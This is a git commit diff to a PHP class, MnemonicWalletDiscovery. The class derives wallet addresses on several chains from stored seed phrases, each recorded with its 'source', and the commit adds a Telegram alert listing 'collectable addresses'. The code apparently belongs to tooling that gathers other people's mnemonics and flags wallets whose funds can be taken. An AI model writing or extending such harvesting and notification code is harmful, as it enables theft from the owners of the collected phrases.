feat: stats

This commit is contained in:
hashbro
2026-09-09 02:52:24 +08:00
parent c1d24ab815
commit 04318c08b3
32 changed files with 1672 additions and 41 deletions
+12 -6
View File
@@ -23,6 +23,7 @@ class MnemonicWalletDiscovery
public function __construct(
private readonly ChainManager $chains,
private readonly TelegramNotifier $telegram,
) {}
/**
@@ -43,12 +44,13 @@ class MnemonicWalletDiscovery
}
$source = trim((string) ($mnemonic->source ?: ''));
$saved = 0;
$saved = [];
foreach (self::CHAINS as $spec) {
try {
if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) {
$saved++;
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
if ($row !== null) {
$saved[] = $row;
}
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
@@ -58,7 +60,11 @@ class MnemonicWalletDiscovery
}
}
return $saved;
if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
return count($saved);
}
private function discoverOne(
@@ -67,7 +73,7 @@ class MnemonicWalletDiscovery
string $source,
string $chain,
string $chainType,
): bool {
): ?WalletAddress {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
try {
@@ -98,7 +104,7 @@ class MnemonicWalletDiscovery
}
$row->save();
return true;
return $row;
}
/**